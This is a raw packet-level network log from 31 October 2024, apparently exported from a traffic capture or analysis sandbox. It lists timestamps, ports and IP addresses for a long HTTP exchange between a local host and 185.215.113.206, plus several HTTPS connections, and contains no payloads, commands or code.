Oct 31, 2024 03:04:34.278712034 CET	80	49823	185.215.113.206	192.168.2.5
Oct 31, 2024 03:04:34.278723955 CET	80	49823	185.215.113.206	192.168.2.5
Oct 31, 2024 03:04:34.278734922 CET	80	49823	185.215.113.206	192.168.2.5
Oct 31, 2024 03:04:34.278736115 CET	49823	80	192.168.2.5	185.215.113.206
Oct 31, 2024 03:04:34.278744936 CET	80	49823	185.215.113.206	192.168.2.5
Oct 31, 2024 03:04:34.278749943 CET	49823	80	192.168.2.5	185.215.113.206
Oct 31, 2024 03:04:34.278749943 CET	80	49823	185.215.113.206	192.168.2.5
Oct 31, 2024 03:04:34.278760910 CET	80	49823	185.215.113.206	192.168.2.5
Oct 31, 2024 03:04:34.278770924 CET	80	49823	185.215.113.206	192.168.2.5
Oct 31, 2024 03:04:34.278773069 CET	49823	80	192.168.2.5	185.215.113.206
Oct 31, 2024 03:04:34.278789043 CET	80	49823	185.215.113.206	192.168.2.5
Oct 31, 2024 03:04:34.278794050 CET	49823	80	192.168.2.5	185.215.113.206
Oct 31, 2024 03:04:34.278800964 CET	80	49823	185.215.113.206	192.168.2.5
Oct 31, 2024 03:04:34.278810978 CET	80	49823	185.215.113.206	192.168.2.5
Oct 31, 2024 03:04:34.278819084 CET	49823	80	192.168.2.5	185.215.113.206
Oct 31, 2024 03:04:34.278821945 CET	80	49823	185.215.113.206	192.168.2.5
Oct 31, 2024 03:04:34.278844118 CET	49823	80	192.168.2.5	185.215.113.206
Oct 31, 2024 03:04:34.278868914 CET	49823	80	192.168.2.5	185.215.113.206
Oct 31, 2024 03:04:34.278943062 CET	80	49823	185.215.113.206	192.168.2.5
Oct 31, 2024 03:04:34.278954029 CET	80	49823	185.215.113.206	192.168.2.5
Oct 31, 2024 03:04:34.278964043 CET	80	49823	185.215.113.206	192.168.2.5
Oct 31, 2024 03:04:34.278974056 CET	80	49823	185.215.113.206	192.168.2.5
Oct 31, 2024 03:04:34.278985023 CET	80	49823	185.215.113.206	192.168.2.5
Oct 31, 2024 03:04:34.278986931 CET	49823	80	192.168.2.5	185.215.113.206
Oct 31, 2024 03:04:34.278995037 CET	80	49823	185.215.113.206	192.168.2.5
Oct 31, 2024 03:04:34.279006958 CET	80	49823	185.215.113.206	192.168.2.5
Oct 31, 2024 03:04:34.279017925 CET	80	49823	185.215.113.206	192.168.2.5
Oct 31, 2024 03:04:34.279020071 CET	49823	80	192.168.2.5	185.215.113.206
Oct 31, 2024 03:04:34.279028893 CET	80	49823	185.215.113.206	192.168.2.5
Oct 31, 2024 03:04:34.279038906 CET	80	49823	185.215.113.206	192.168.2.5
Oct 31, 2024 03:04:34.279042006 CET	49823	80	192.168.2.5	185.215.113.206
Oct 31, 2024 03:04:34.279050112 CET	80	49823	185.215.113.206	192.168.2.5
Oct 31, 2024 03:04:34.279059887 CET	49823	80	192.168.2.5	185.215.113.206
Oct 31, 2024 03:04:34.279086113 CET	80	49823	185.215.113.206	192.168.2.5
Oct 31, 2024 03:04:34.279087067 CET	49823	80	192.168.2.5	185.215.113.206
Oct 31, 2024 03:04:34.279099941 CET	80	49823	185.215.113.206	192.168.2.5
Oct 31, 2024 03:04:34.279119968 CET	80	49823	185.215.113.206	192.168.2.5
Oct 31, 2024 03:04:34.279130936 CET	80	49823	185.215.113.206	192.168.2.5
Oct 31, 2024 03:04:34.279140949 CET	80	49823	185.215.113.206	192.168.2.5
Oct 31, 2024 03:04:34.279150963 CET	80	49823	185.215.113.206	192.168.2.5
Oct 31, 2024 03:04:34.279160023 CET	49823	80	192.168.2.5	185.215.113.206
Oct 31, 2024 03:04:34.279161930 CET	80	49823	185.215.113.206	192.168.2.5
Oct 31, 2024 03:04:34.279172897 CET	80	49823	185.215.113.206	192.168.2.5
Oct 31, 2024 03:04:34.279172897 CET	49823	80	192.168.2.5	185.215.113.206
Oct 31, 2024 03:04:34.279187918 CET	49823	80	192.168.2.5	185.215.113.206
Oct 31, 2024 03:04:34.279206038 CET	49823	80	192.168.2.5	185.215.113.206
Oct 31, 2024 03:04:34.279329062 CET	80	49823	185.215.113.206	192.168.2.5
Oct 31, 2024 03:04:34.279339075 CET	80	49823	185.215.113.206	192.168.2.5
Oct 31, 2024 03:04:34.279349089 CET	80	49823	185.215.113.206	192.168.2.5
Oct 31, 2024 03:04:34.279361010 CET	80	49823	185.215.113.206	192.168.2.5
Oct 31, 2024 03:04:34.279371977 CET	80	49823	185.215.113.206	192.168.2.5
Oct 31, 2024 03:04:34.279382944 CET	80	49823	185.215.113.206	192.168.2.5
Oct 31, 2024 03:04:34.279390097 CET	49823	80	192.168.2.5	185.215.113.206
Oct 31, 2024 03:04:34.279393911 CET	80	49823	185.215.113.206	192.168.2.5
Oct 31, 2024 03:04:34.279403925 CET	80	49823	185.215.113.206	192.168.2.5
Oct 31, 2024 03:04:34.279417038 CET	49823	80	192.168.2.5	185.215.113.206
Oct 31, 2024 03:04:34.279438972 CET	49823	80	192.168.2.5	185.215.113.206
Oct 31, 2024 03:04:34.279457092 CET	49823	80	192.168.2.5	185.215.113.206
Oct 31, 2024 03:04:34.279459000 CET	80	49823	185.215.113.206	192.168.2.5
Oct 31, 2024 03:04:34.279469967 CET	80	49823	185.215.113.206	192.168.2.5
Oct 31, 2024 03:04:34.279483080 CET	80	49823	185.215.113.206	192.168.2.5
Oct 31, 2024 03:04:34.279491901 CET	80	49823	185.215.113.206	192.168.2.5
Oct 31, 2024 03:04:34.279504061 CET	80	49823	185.215.113.206	192.168.2.5
Oct 31, 2024 03:04:34.279509068 CET	49823	80	192.168.2.5	185.215.113.206
Oct 31, 2024 03:04:34.279515028 CET	80	49823	185.215.113.206	192.168.2.5
Oct 31, 2024 03:04:34.279525995 CET	80	49823	185.215.113.206	192.168.2.5
Oct 31, 2024 03:04:34.279529095 CET	49823	80	192.168.2.5	185.215.113.206
Oct 31, 2024 03:04:34.279536963 CET	80	49823	185.215.113.206	192.168.2.5
Oct 31, 2024 03:04:34.279551029 CET	80	49823	185.215.113.206	192.168.2.5
Oct 31, 2024 03:04:34.279556036 CET	49823	80	192.168.2.5	185.215.113.206
Oct 31, 2024 03:04:34.279565096 CET	80	49823	185.215.113.206	192.168.2.5
Oct 31, 2024 03:04:34.279567957 CET	49823	80	192.168.2.5	185.215.113.206
Oct 31, 2024 03:04:34.279587030 CET	80	49823	185.215.113.206	192.168.2.5
Oct 31, 2024 03:04:34.279596090 CET	49823	80	192.168.2.5	185.215.113.206
Oct 31, 2024 03:04:34.279601097 CET	80	49823	185.215.113.206	192.168.2.5
Oct 31, 2024 03:04:34.279606104 CET	49823	80	192.168.2.5	185.215.113.206
Oct 31, 2024 03:04:34.279622078 CET	80	49823	185.215.113.206	192.168.2.5
Oct 31, 2024 03:04:34.279624939 CET	49823	80	192.168.2.5	185.215.113.206
Oct 31, 2024 03:04:34.279632092 CET	80	49823	185.215.113.206	192.168.2.5
Oct 31, 2024 03:04:34.279642105 CET	80	49823	185.215.113.206	192.168.2.5
Oct 31, 2024 03:04:34.279643059 CET	49823	80	192.168.2.5	185.215.113.206
Oct 31, 2024 03:04:34.279652119 CET	49823	80	192.168.2.5	185.215.113.206
Oct 31, 2024 03:04:34.279654026 CET	80	49823	185.215.113.206	192.168.2.5
Oct 31, 2024 03:04:34.279670000 CET	49823	80	192.168.2.5	185.215.113.206
Oct 31, 2024 03:04:34.279687881 CET	49823	80	192.168.2.5	185.215.113.206
Oct 31, 2024 03:04:34.279709101 CET	80	49823	185.215.113.206	192.168.2.5
Oct 31, 2024 03:04:34.279721022 CET	80	49823	185.215.113.206	192.168.2.5
Oct 31, 2024 03:04:34.279731035 CET	80	49823	185.215.113.206	192.168.2.5
Oct 31, 2024 03:04:34.279771090 CET	49823	80	192.168.2.5	185.215.113.206
Oct 31, 2024 03:04:34.279797077 CET	80	49823	185.215.113.206	192.168.2.5
Oct 31, 2024 03:04:34.279807091 CET	80	49823	185.215.113.206	192.168.2.5
Oct 31, 2024 03:04:34.279817104 CET	80	49823	185.215.113.206	192.168.2.5
Oct 31, 2024 03:04:34.279828072 CET	80	49823	185.215.113.206	192.168.2.5
Oct 31, 2024 03:04:34.279838085 CET	49823	80	192.168.2.5	185.215.113.206
Oct 31, 2024 03:04:34.279838085 CET	80	49823	185.215.113.206	192.168.2.5
Oct 31, 2024 03:04:34.279849052 CET	80	49823	185.215.113.206	192.168.2.5
Oct 31, 2024 03:04:34.279850960 CET	49823	80	192.168.2.5	185.215.113.206
Oct 31, 2024 03:04:34.279891968 CET	49823	80	192.168.2.5	185.215.113.206
Oct 31, 2024 03:04:34.279906034 CET	80	49823	185.215.113.206	192.168.2.5
Oct 31, 2024 03:04:34.279915094 CET	80	49823	185.215.113.206	192.168.2.5
Oct 31, 2024 03:04:34.279927015 CET	80	49823	185.215.113.206	192.168.2.5
Oct 31, 2024 03:04:34.279937983 CET	80	49823	185.215.113.206	192.168.2.5
Oct 31, 2024 03:04:34.279953003 CET	49823	80	192.168.2.5	185.215.113.206
Oct 31, 2024 03:04:34.279966116 CET	49823	80	192.168.2.5	185.215.113.206
Oct 31, 2024 03:04:34.279983044 CET	80	49823	185.215.113.206	192.168.2.5
Oct 31, 2024 03:04:34.279989004 CET	49823	80	192.168.2.5	185.215.113.206
Oct 31, 2024 03:04:34.279994011 CET	80	49823	185.215.113.206	192.168.2.5
Oct 31, 2024 03:04:34.280004025 CET	80	49823	185.215.113.206	192.168.2.5
Oct 31, 2024 03:04:34.280014992 CET	80	49823	185.215.113.206	192.168.2.5
Oct 31, 2024 03:04:34.280021906 CET	49823	80	192.168.2.5	185.215.113.206
Oct 31, 2024 03:04:34.280026913 CET	80	49823	185.215.113.206	192.168.2.5
Oct 31, 2024 03:04:34.280046940 CET	49823	80	192.168.2.5	185.215.113.206
Oct 31, 2024 03:04:34.280050039 CET	80	49823	185.215.113.206	192.168.2.5
Oct 31, 2024 03:04:34.280060053 CET	49823	80	192.168.2.5	185.215.113.206
Oct 31, 2024 03:04:34.280062914 CET	80	49823	185.215.113.206	192.168.2.5
Oct 31, 2024 03:04:34.280090094 CET	49823	80	192.168.2.5	185.215.113.206
Oct 31, 2024 03:04:34.280114889 CET	49823	80	192.168.2.5	185.215.113.206
Oct 31, 2024 03:04:34.280180931 CET	80	49823	185.215.113.206	192.168.2.5
Oct 31, 2024 03:04:34.280191898 CET	80	49823	185.215.113.206	192.168.2.5
Oct 31, 2024 03:04:34.280200958 CET	80	49823	185.215.113.206	192.168.2.5
Oct 31, 2024 03:04:34.280210972 CET	80	49823	185.215.113.206	192.168.2.5
Oct 31, 2024 03:04:34.280220985 CET	49823	80	192.168.2.5	185.215.113.206
Oct 31, 2024 03:04:34.280220985 CET	80	49823	185.215.113.206	192.168.2.5
Oct 31, 2024 03:04:34.280230999 CET	80	49823	185.215.113.206	192.168.2.5
Oct 31, 2024 03:04:34.280241966 CET	80	49823	185.215.113.206	192.168.2.5
Oct 31, 2024 03:04:34.280247927 CET	49823	80	192.168.2.5	185.215.113.206
Oct 31, 2024 03:04:34.280251980 CET	80	49823	185.215.113.206	192.168.2.5
Oct 31, 2024 03:04:34.280272007 CET	49823	80	192.168.2.5	185.215.113.206
Oct 31, 2024 03:04:34.280286074 CET	80	49823	185.215.113.206	192.168.2.5
Oct 31, 2024 03:04:34.280291080 CET	49823	80	192.168.2.5	185.215.113.206
Oct 31, 2024 03:04:34.280297041 CET	80	49823	185.215.113.206	192.168.2.5
Oct 31, 2024 03:04:34.280308962 CET	80	49823	185.215.113.206	192.168.2.5
Oct 31, 2024 03:04:34.280319929 CET	80	49823	185.215.113.206	192.168.2.5
Oct 31, 2024 03:04:34.280320883 CET	49823	80	192.168.2.5	185.215.113.206
Oct 31, 2024 03:04:34.280330896 CET	80	49823	185.215.113.206	192.168.2.5
Oct 31, 2024 03:04:34.280347109 CET	49823	80	192.168.2.5	185.215.113.206
Oct 31, 2024 03:04:34.280375004 CET	49823	80	192.168.2.5	185.215.113.206
Oct 31, 2024 03:04:34.280386925 CET	80	49823	185.215.113.206	192.168.2.5
Oct 31, 2024 03:04:34.280396938 CET	80	49823	185.215.113.206	192.168.2.5
Oct 31, 2024 03:04:34.280405998 CET	80	49823	185.215.113.206	192.168.2.5
Oct 31, 2024 03:04:34.280416965 CET	80	49823	185.215.113.206	192.168.2.5
Oct 31, 2024 03:04:34.280426025 CET	80	49823	185.215.113.206	192.168.2.5
Oct 31, 2024 03:04:34.280426979 CET	49823	80	192.168.2.5	185.215.113.206
Oct 31, 2024 03:04:34.280437946 CET	80	49823	185.215.113.206	192.168.2.5
Oct 31, 2024 03:04:34.280471087 CET	80	49823	185.215.113.206	192.168.2.5
Oct 31, 2024 03:04:34.280472994 CET	49823	80	192.168.2.5	185.215.113.206
Oct 31, 2024 03:04:34.280472994 CET	49823	80	192.168.2.5	185.215.113.206
Oct 31, 2024 03:04:34.280481100 CET	80	49823	185.215.113.206	192.168.2.5
Oct 31, 2024 03:04:34.280492067 CET	80	49823	185.215.113.206	192.168.2.5
Oct 31, 2024 03:04:34.280519009 CET	49823	80	192.168.2.5	185.215.113.206
Oct 31, 2024 03:04:34.280554056 CET	49823	80	192.168.2.5	185.215.113.206
Oct 31, 2024 03:04:34.280567884 CET	80	49823	185.215.113.206	192.168.2.5
Oct 31, 2024 03:04:34.280577898 CET	80	49823	185.215.113.206	192.168.2.5
Oct 31, 2024 03:04:34.280586958 CET	80	49823	185.215.113.206	192.168.2.5
Oct 31, 2024 03:04:34.280597925 CET	80	49823	185.215.113.206	192.168.2.5
Oct 31, 2024 03:04:34.280606985 CET	80	49823	185.215.113.206	192.168.2.5
Oct 31, 2024 03:04:34.280616999 CET	80	49823	185.215.113.206	192.168.2.5
Oct 31, 2024 03:04:34.280618906 CET	49823	80	192.168.2.5	185.215.113.206
Oct 31, 2024 03:04:34.280630112 CET	80	49823	185.215.113.206	192.168.2.5
Oct 31, 2024 03:04:34.280639887 CET	80	49823	185.215.113.206	192.168.2.5
Oct 31, 2024 03:04:34.280649900 CET	80	49823	185.215.113.206	192.168.2.5
Oct 31, 2024 03:04:34.280654907 CET	49823	80	192.168.2.5	185.215.113.206
Oct 31, 2024 03:04:34.284482956 CET	49823	80	192.168.2.5	185.215.113.206
Oct 31, 2024 03:04:34.284482956 CET	49823	80	192.168.2.5	185.215.113.206
Oct 31, 2024 03:04:34.289364100 CET	49895	443	192.168.2.5	23.47.50.151
Oct 31, 2024 03:04:34.289364100 CET	49896	443	192.168.2.5	23.47.50.151
Oct 31, 2024 03:04:34.291332960 CET	443	49894	23.47.50.151	192.168.2.5
Oct 31, 2024 03:04:34.291362047 CET	443	49891	23.47.50.151	192.168.2.5
Oct 31, 2024 03:04:34.295334101 CET	443	49893	23.47.50.151	192.168.2.5
Oct 31, 2024 03:04:34.295334101 CET	443	49892	23.47.50.151	192.168.2.5
Oct 31, 2024 03:04:34.304976940 CET	49893	443	192.168.2.5	23.47.50.151
Oct 31, 2024 03:04:34.304977894 CET	49894	443	192.168.2.5	23.47.50.151
Oct 31, 2024 03:04:34.304977894 CET	49892	443	192.168.2.5	23.47.50.151
Oct 31, 2024 03:04:34.304986000 CET	443	49893	23.47.50.151	192.168.2.5
Oct 31, 2024 03:04:34.304986954 CET	443	49894	23.47.50.151	192.168.2.5
Oct 31, 2024 03:04:34.304999113 CET	443	49892	23.47.50.151	192.168.2.5
Oct 31, 2024 03:04:34.320657969 CET	49887	443	192.168.2.5	20.1.248.118
Oct 31, 2024 03:04:34.326155901 CET	443	49889	13.107.246.45	192.168.2.5
Oct 31, 2024 03:04:34.326227903 CET	443	49889	13.107.246.45	192.168.2.5
Oct 31, 2024 03:04:34.326451063 CET	49889	443	192.168.2.5	13.107.246.45
Oct 31, 2024 03:04:34.326503992 CET	49889	443	192.168.2.5	13.107.246.45
Oct 31, 2024 03:04:34.326512098 CET	443	49889	13.107.246.45	192.168.2.5
Oct 31, 2024 03:04:34.326522112 CET	49889	443	192.168.2.5	13.107.246.45
Oct 31, 2024 03:04:34.326527119 CET	443	49889	13.107.246.45	192.168.2.5
Oct 31, 2024 03:04:34.329490900 CET	49899	443	192.168.2.5	13.107.246.45
Oct 31, 2024 03:04:34.329516888 CET	443	49899	13.107.246.45	192.168.2.5
Oct 31, 2024 03:04:34.329628944 CET	49899	443	192.168.2.5	13.107.246.45
Oct 31, 2024 03:04:34.329816103 CET	49899	443	192.168.2.5	13.107.246.45
Oct 31, 2024 03:04:34.329833031 CET	443	49899	13.107.246.45	192.168.2.5
Oct 31, 2024 03:04:34.330893040 CET	443	49888	13.107.246.45	192.168.2.5
Oct 31, 2024 03:04:34.330908060 CET	443	49888	13.107.246.45	192.168.2.5
Oct 31, 2024 03:04:34.330962896 CET	49888	443	192.168.2.5	13.107.246.45
Oct 31, 2024 03:04:34.330974102 CET	443	49888	13.107.246.45	192.168.2.5
Oct 31, 2024 03:04:34.331121922 CET	49888	443	192.168.2.5	13.107.246.45
Oct 31, 2024 03:04:34.331183910 CET	49888	443	192.168.2.5	13.107.246.45
Oct 31, 2024 03:04:34.331183910 CET	49888	443	192.168.2.5	13.107.246.45
Oct 31, 2024 03:04:34.331222057 CET	443	49888	13.107.246.45	192.168.2.5
Oct 31, 2024 03:04:34.331244946 CET	443	49888	13.107.246.45	192.168.2.5
Oct 31, 2024 03:04:34.333339930 CET	49900	443	192.168.2.5	13.107.246.45
Oct 31, 2024 03:04:34.333375931 CET	443	49900	13.107.246.45	192.168.2.5
Oct 31, 2024 03:04:34.333482981 CET	49900	443	192.168.2.5	13.107.246.45
Oct 31, 2024 03:04:34.333636045 CET	49900	443	192.168.2.5	13.107.246.45
Oct 31, 2024 03:04:34.333650112 CET	443	49900	13.107.246.45	192.168.2.5
Oct 31, 2024 03:04:34.351840019 CET	49894	443	192.168.2.5	23.47.50.151
Oct 31, 2024 03:04:34.351849079 CET	49892	443	192.168.2.5	23.47.50.151
Oct 31, 2024 03:04:34.351852894 CET	49893	443	192.168.2.5	23.47.50.151
Oct 31, 2024 03:04:34.366321087 CET	80	49823	185.215.113.206	192.168.2.5
Oct 31, 2024 03:04:34.366370916 CET	80	49823	185.215.113.206	192.168.2.5
Oct 31, 2024 03:04:34.366381884 CET	49823	80	192.168.2.5	185.215.113.206
Oct 31, 2024 03:04:34.366568089 CET	49823	80	192.168.2.5	185.215.113.206
Oct 31, 2024 03:04:34.369540930 CET	443	49890	13.107.246.45	192.168.2.5
Oct 31, 2024 03:04:34.369611979 CET	443	49890	13.107.246.45	192.168.2.5
Oct 31, 2024 03:04:34.369692087 CET	49890	443	192.168.2.5	13.107.246.45
Oct 31, 2024 03:04:34.369790077 CET	49890	443	192.168.2.5	13.107.246.45
Oct 31, 2024 03:04:34.369801998 CET	443	49890	13.107.246.45	192.168.2.5
Oct 31, 2024 03:04:34.369856119 CET	49890	443	192.168.2.5	13.107.246.45
Oct 31, 2024 03:04:34.369869947 CET	443	49890	13.107.246.45	192.168.2.5
Oct 31, 2024 03:04:34.370421886 CET	443	49895	23.47.50.151	192.168.2.5
Oct 31, 2024 03:04:34.370445013 CET	443	49895	23.47.50.151	192.168.2.5
Oct 31, 2024 03:04:34.370522022 CET	443	49895	23.47.50.151	192.168.2.5
Oct 31, 2024 03:04:34.370537996 CET	49895	443	192.168.2.5	23.47.50.151
Oct 31, 2024 03:04:34.370728970 CET	49895	443	192.168.2.5	23.47.50.151
Oct 31, 2024 03:04:34.371579885 CET	49895	443	192.168.2.5	23.47.50.151
Oct 31, 2024 03:04:34.371588945 CET	443	49895	23.47.50.151	192.168.2.5
Oct 31, 2024 03:04:34.372142076 CET	49901	443	192.168.2.5	23.47.50.151
Oct 31, 2024 03:04:34.372157097 CET	443	49901	23.47.50.151	192.168.2.5
Oct 31, 2024 03:04:34.372330904 CET	49901	443	192.168.2.5	23.47.50.151
Oct 31, 2024 03:04:34.372932911 CET	49901	443	192.168.2.5	23.47.50.151
Oct 31, 2024 03:04:34.372945070 CET	443	49901	23.47.50.151	192.168.2.5
Oct 31, 2024 03:04:34.373457909 CET	49902	443	192.168.2.5	13.107.246.45
Oct 31, 2024 03:04:34.373471975 CET	443	49902	13.107.246.45	192.168.2.5
Oct 31, 2024 03:04:34.373714924 CET	49902	443	192.168.2.5	13.107.246.45
Oct 31, 2024 03:04:34.374677896 CET	49902	443	192.168.2.5	13.107.246.45
Oct 31, 2024 03:04:34.374691963 CET	443	49902	13.107.246.45	192.168.2.5
Oct 31, 2024 03:04:34.375710011 CET	443	49894	23.47.50.151	192.168.2.5
Oct 31, 2024 03:04:34.375766039 CET	443	49894	23.47.50.151	192.168.2.5
Oct 31, 2024 03:04:34.375787973 CET	443	49894	23.47.50.151	192.168.2.5
Oct 31, 2024 03:04:34.375844002 CET	49894	443	192.168.2.5	23.47.50.151
Oct 31, 2024 03:04:34.375857115 CET	443	49894	23.47.50.151	192.168.2.5
Oct 31, 2024 03:04:34.375921965 CET	443	49894	23.47.50.151	192.168.2.5
Oct 31, 2024 03:04:34.375974894 CET	49894	443	192.168.2.5	23.47.50.151
Oct 31, 2024 03:04:34.377940893 CET	49894	443	192.168.2.5	23.47.50.151
Oct 31, 2024 03:04:34.377950907 CET	443	49894	23.47.50.151	192.168.2.5
Oct 31, 2024 03:04:34.378554106 CET	49903	443	192.168.2.5	23.47.50.151
Oct 31, 2024 03:04:34.378563881 CET	443	49903	23.47.50.151	192.168.2.5
Oct 31, 2024 03:04:34.378631115 CET	49903	443	192.168.2.5	23.47.50.151
Oct 31, 2024 03:04:34.379162073 CET	49903	443	192.168.2.5	23.47.50.151
Oct 31, 2024 03:04:34.379174948 CET	443	49903	23.47.50.151	192.168.2.5
Oct 31, 2024 03:04:34.379607916 CET	443	49891	23.47.50.151	192.168.2.5
Oct 31, 2024 03:04:34.380490065 CET	443	49891	23.47.50.151	192.168.2.5
Oct 31, 2024 03:04:34.380654097 CET	49891	443	192.168.2.5	23.47.50.151
Oct 31, 2024 03:04:34.380848885 CET	443	49892	23.47.50.151	192.168.2.5
Oct 31, 2024 03:04:34.380872965 CET	443	49892	23.47.50.151	192.168.2.5
Oct 31, 2024 03:04:34.380881071 CET	443	49892	23.47.50.151	192.168.2.5
Oct 31, 2024 03:04:34.380914927 CET	49892	443	192.168.2.5	23.47.50.151
Oct 31, 2024 03:04:34.380919933 CET	443	49892	23.47.50.151	192.168.2.5
Oct 31, 2024 03:04:34.380947113 CET	49892	443	192.168.2.5	23.47.50.151
Oct 31, 2024 03:04:34.380965948 CET	443	49892	23.47.50.151	192.168.2.5
Oct 31, 2024 03:04:34.380996943 CET	49892	443	192.168.2.5	23.47.50.151
Oct 31, 2024 03:04:34.382447004 CET	49891	443	192.168.2.5	23.47.50.151
Oct 31, 2024 03:04:34.382453918 CET	443	49891	23.47.50.151	192.168.2.5
Oct 31, 2024 03:04:34.382889986 CET	49904	443	192.168.2.5	23.47.50.151
Oct 31, 2024 03:04:34.382916927 CET	443	49904	23.47.50.151	192.168.2.5
Oct 31, 2024 03:04:34.383075953 CET	49904	443	192.168.2.5	23.47.50.151
Oct 31, 2024 03:04:34.383671999 CET	49904	443	192.168.2.5	23.47.50.151
Oct 31, 2024 03:04:34.383688927 CET	443	49904	23.47.50.151	192.168.2.5
Oct 31, 2024 03:04:34.383852959 CET	49892	443	192.168.2.5	23.47.50.151
Oct 31, 2024 03:04:34.383861065 CET	443	49892	23.47.50.151	192.168.2.5
Oct 31, 2024 03:04:34.394965887 CET	80	49823	185.215.113.206	192.168.2.5
Oct 31, 2024 03:04:34.395024061 CET	49823	80	192.168.2.5	185.215.113.206
Oct 31, 2024 03:04:34.395034075 CET	80	49823	185.215.113.206	192.168.2.5
Oct 31, 2024 03:04:34.395052910 CET	80	49823	185.215.113.206	192.168.2.5
Oct 31, 2024 03:04:34.395076036 CET	80	49823	185.215.113.206	192.168.2.5
Oct 31, 2024 03:04:34.395081043 CET	49823	80	192.168.2.5	185.215.113.206
Oct 31, 2024 03:04:34.395087957 CET	80	49823	185.215.113.206	192.168.2.5
Oct 31, 2024 03:04:34.395097971 CET	80	49823	185.215.113.206	192.168.2.5
Oct 31, 2024 03:04:34.395100117 CET	49823	80	192.168.2.5	185.215.113.206
Oct 31, 2024 03:04:34.395107985 CET	80	49823	185.215.113.206	192.168.2.5
Oct 31, 2024 03:04:34.395122051 CET	49823	80	192.168.2.5	185.215.113.206
Oct 31, 2024 03:04:34.395150900 CET	49823	80	192.168.2.5	185.215.113.206
Oct 31, 2024 03:04:34.395159006 CET	80	49823	185.215.113.206	192.168.2.5
Oct 31, 2024 03:04:34.395169973 CET	80	49823	185.215.113.206	192.168.2.5
Oct 31, 2024 03:04:34.395179987 CET	80	49823	185.215.113.206	192.168.2.5
Oct 31, 2024 03:04:34.395194054 CET	80	49823	185.215.113.206	192.168.2.5
Oct 31, 2024 03:04:34.395204067 CET	49823	80	192.168.2.5	185.215.113.206
Oct 31, 2024 03:04:34.395251036 CET	49823	80	192.168.2.5	185.215.113.206
Oct 31, 2024 03:04:34.395265102 CET	80	49823	185.215.113.206	192.168.2.5
Oct 31, 2024 03:04:34.395276070 CET	80	49823	185.215.113.206	192.168.2.5
Oct 31, 2024 03:04:34.395286083 CET	80	49823	185.215.113.206	192.168.2.5
Oct 31, 2024 03:04:34.395297050 CET	80	49823	185.215.113.206	192.168.2.5
Oct 31, 2024 03:04:34.395307064 CET	80	49823	185.215.113.206	192.168.2.5
Oct 31, 2024 03:04:34.395311117 CET	49823	80	192.168.2.5	185.215.113.206
Oct 31, 2024 03:04:34.395324945 CET	80	49823	185.215.113.206	192.168.2.5
Oct 31, 2024 03:04:34.395343065 CET	49823	80	192.168.2.5	185.215.113.206
Oct 31, 2024 03:04:34.395343065 CET	49823	80	192.168.2.5	185.215.113.206
Oct 31, 2024 03:04:34.395355940 CET	80	49823	185.215.113.206	192.168.2.5
Oct 31, 2024 03:04:34.395374060 CET	80	49823	185.215.113.206	192.168.2.5
Oct 31, 2024 03:04:34.395374060 CET	49823	80	192.168.2.5	185.215.113.206
Oct 31, 2024 03:04:34.395386934 CET	80	49823	185.215.113.206	192.168.2.5
Oct 31, 2024 03:04:34.395416975 CET	80	49823	185.215.113.206	192.168.2.5
Oct 31, 2024 03:04:34.395417929 CET	49823	80	192.168.2.5	185.215.113.206
Oct 31, 2024 03:04:34.395426035 CET	49823	80	192.168.2.5	185.215.113.206
Oct 31, 2024 03:04:34.395430088 CET	80	49823	185.215.113.206	192.168.2.5
Oct 31, 2024 03:04:34.395441055 CET	80	49823	185.215.113.206	192.168.2.5
Oct 31, 2024 03:04:34.395452023 CET	80	49823	185.215.113.206	192.168.2.5
Oct 31, 2024 03:04:34.395473957 CET	49823	80	192.168.2.5	185.215.113.206
Oct 31, 2024 03:04:34.395478010 CET	80	49823	185.215.113.206	192.168.2.5
Oct 31, 2024 03:04:34.395487070 CET	49823	80	192.168.2.5	185.215.113.206
Oct 31, 2024 03:04:34.395489931 CET	80	49823	185.215.113.206	192.168.2.5
Oct 31, 2024 03:04:34.395499945 CET	80	49823	185.215.113.206	192.168.2.5
Oct 31, 2024 03:04:34.395514011 CET	80	49823	185.215.113.206	192.168.2.5
Oct 31, 2024 03:04:34.395524025 CET	49823	80	192.168.2.5	185.215.113.206
Oct 31, 2024 03:04:34.395524979 CET	80	49823	185.215.113.206	192.168.2.5
Oct 31, 2024 03:04:34.395536900 CET	80	49823	185.215.113.206	192.168.2.5
Oct 31, 2024 03:04:34.395545959 CET	49823	80	192.168.2.5	185.215.113.206
Oct 31, 2024 03:04:34.395546913 CET	80	49823	185.215.113.206	192.168.2.5
Oct 31, 2024 03:04:34.395558119 CET	80	49823	185.215.113.206	192.168.2.5
Oct 31, 2024 03:04:34.395569086 CET	80	49823	185.215.113.206	192.168.2.5
Oct 31, 2024 03:04:34.395589113 CET	49823	80	192.168.2.5	185.215.113.206
Oct 31, 2024 03:04:34.395601988 CET	80	49823	185.215.113.206	192.168.2.5
Oct 31, 2024 03:04:34.395603895 CET	49823	80	192.168.2.5	185.215.113.206
Oct 31, 2024 03:04:34.395623922 CET	80	49823	185.215.113.206	192.168.2.5
Oct 31, 2024 03:04:34.395627975 CET	49823	80	192.168.2.5	185.215.113.206
Oct 31, 2024 03:04:34.395642042 CET	80	49823	185.215.113.206	192.168.2.5
Oct 31, 2024 03:04:34.395652056 CET	49823	80	192.168.2.5	185.215.113.206
Oct 31, 2024 03:04:34.395653009 CET	80	49823	185.215.113.206	192.168.2.5
Oct 31, 2024 03:04:34.395663023 CET	80	49823	185.215.113.206	192.168.2.5
Oct 31, 2024 03:04:34.395673037 CET	49823	80	192.168.2.5	185.215.113.206
Oct 31, 2024 03:04:34.395673990 CET	80	49823	185.215.113.206	192.168.2.5
Oct 31, 2024 03:04:34.395680904 CET	49823	80	192.168.2.5	185.215.113.206
Oct 31, 2024 03:04:34.395698071 CET	80	49823	185.215.113.206	192.168.2.5
Oct 31, 2024 03:04:34.395714045 CET	49823	80	192.168.2.5	185.215.113.206
Oct 31, 2024 03:04:34.395737886 CET	80	49823	185.215.113.206	192.168.2.5
Oct 31, 2024 03:04:34.395739079 CET	49823	80	192.168.2.5	185.215.113.206
Oct 31, 2024 03:04:34.395749092 CET	80	49823	185.215.113.206	192.168.2.5
Oct 31, 2024 03:04:34.395771980 CET	80	49823	185.215.113.206	192.168.2.5
Oct 31, 2024 03:04:34.395783901 CET	49823	80	192.168.2.5	185.215.113.206
Oct 31, 2024 03:04:34.395795107 CET	80	49823	185.215.113.206	192.168.2.5
Oct 31, 2024 03:04:34.395811081 CET	80	49823	185.215.113.206	192.168.2.5
Oct 31, 2024 03:04:34.395811081 CET	49823	80	192.168.2.5	185.215.113.206
